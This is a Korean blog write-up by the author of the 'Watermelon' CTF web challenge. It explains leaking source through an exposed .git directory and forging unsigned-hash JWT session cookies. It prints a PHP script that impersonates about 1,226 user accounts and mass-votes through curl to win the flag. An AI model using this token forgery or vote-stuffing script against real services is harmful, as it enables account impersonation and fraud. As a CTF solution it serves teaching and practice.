write-ups/CTF

2019 Christmas CTF watermelon write-up

2019. 12. 28. 02:30

 

이 건물을 위해 몇마리의 닭이 희생되었는가

Aleph Infinite 팀에서 주최한 Christmas CTF에 낸 문제인 Watermelon 문제의 풀이를 작성해보려 한다.

 

문제 컨셉.

 일단 어떤 문제를 만들까 계속 고민을 해왔었다. 1년간의 수험생활 동안 해킹 공부를 거의 포기하다시피 하기도 했고, 올해 CTF도 사이버작전경연대회 밖에 참가하지 않아서 최근 트렌드와 트릭, 유행인 취약점을 몰랐기 때문에 로직 버그? 와 비슷한 문제를 출제하기로 했다.

 

 한 음악스트리밍 업체에서 터진 사재기 논란을 오마주?하기로 하였다. 자신이 업로드한 음악의 순위를 스크립트를 짜서 높이고 플래그를 획득하는 방식이다. 

 

취약점.

 CTF를 할 때마다 웹해킹 문제를 풀려면 어쩔 수 없이 확인해야하는 것이 1. /robots.txt 2. /.git/ 3. /admin/ 등이다. 이 문제에서는 1, 2번만 확인해도 풀 수 있도록 설계했다. robots.txt 에 들어가보면 아래와 같이 뜨는 것을 볼 수 있다. 원래 '신내림은 웹해커의 가장 본질적인 능력이다'라는 생각으로 robots.txt에 힌트를 주지 않으려고 했지만, 이러한 신내림 능력이 아직 부족하신 분들이 괜히 크리스마스 때 고생하지 않도록 힌트를 넣었다. (참고로, /.git/ 디렉토리로의 접근을 통해 소스코드의 일부를 유출할 수 있는 취약점은 리얼월드에서도 간간히 보인다.)

 http://ch4n3.me/xmas/.git/ 링크에서 GitDumper 와 같은 도구를 사용하면 소스를 leak 할 수가 있다. 우선 flag.php 에 있는 코드를 보면 아래와 같은 부분을 볼 수 있다. 

 

해당 코드는 유저가 업로드한 음악 중에 투표수가 1225를 넘는 음악이 있다면 플래그를 뱉도록 하는 부분이다.

 

 core.php에 보면 다음과 같은 세션 확인 코드가 있다. PHPSESSJWT라는 쿠키에서 JWT 코드를 넘겨받아 저장하여 유저인지 확인하는 부분이다. 

 그래서 JWT 생성 방식을 분석해 PHPSESSJWT 값을 조작하여 계정을 전환할 수 있다. user_no (유저 고유번호)를 통해서 사용자를 판별하기 때문에 대회 시작 전에 DB에 dummy user를 한 3000개 정도 만들어두었다. (이미 dummy data가 존재하기 때문에 회원가입 부분과 로그인 부분에 recaptcha v3를 걸어두었는데 이걸 뚫고 dummy data를 넣은 분도 계셨다ㄷㄷ)

 

익스플로잇.

exploit code 는 다음과 같다.

<?php

class jwt
{
    protected $alg;
    function __construct()
    {
        $this->alg = 'sha256';
    }

    function hashing(array $data)
    {
        $header = json_encode(array(
            'alg'=> $this->alg,
            'typ'=> 'JWT'
        ));

        $payload = json_encode($data);
        $signature = hash($this->alg, $header.$payload);
        return base64_encode($header.'.'.$payload.'.'.$signature);
    }

    function dehashing($token)
    {
        $parted = explode('.', base64_decode($token));
        $signature = $parted[2];

        if(hash($this->alg, $parted[0].$parted[1]) != $signature)
            die("<script>alert('INVALID JWT!!');</script>");

        $payload = json_decode($parted[1],true);
        return $payload;
    }
}

$jwt = new jwt();

$music_no = 1;
$token = $jwt->hashing(array(
    'user_no' => $result['user_no'],
    'id' => $result['id'],
    'nickname' => $result['nickname'],
    'iat' => time(),
));

for ($i = 1; $i <= 1226; $i++) {
    $token = $jwt->hashing(array(
        'user_no' => $i,
        'id' => "ch4n3",
        'nickname' => "ch4n3",
        'iat' => time(),
    ));
    $cmd = "curl --cookie \"PHPSESSJWT={$token}\" -d \"music_no={$music_no}\" 'http://ch4n3.me:8080/xmas/vote.php'";
    system($cmd);
}

 

여담.

 12월 25일 새벽 3시 경, Aleph Infinite 친구들이 exploit code를 보여달라고 해서 부랴부랴 만들어서 시연을 했었다. 이전에는 투표수를 비교하는 부분에서 1225로 비교하지 않고 2~3 정도로 맞추어 플래그가 정상적으로 나오는지만 확인했기 때문에 exploit code가 없었다. 하여튼, exploit code 를 짜기 위해서 id, pw가 각각 admin인 임시 계정을 만들어두었었고, 투표수가 1226이 되자 flag를 정상적으로 뱉는 것을 보았고, 친구들한테도 code를 보내 내 문제가 무결하다는 것을 입증하여 쪽잠을 청하게 되었다. 그런데 만들어둔 계정을 삭제를 하지 않고 문제를 내는 바람에 id, pw 에 admin / admin 을 입력하게 되면 풀리는 어이없는 일이 발생하게 되었다.

 

 긴 얘기였지만, 결국 내 실수였다. 앞으로는 이런 일이 발생하지 않도록 더 꼼꼼히 검수해야겠다고 다짐..했다..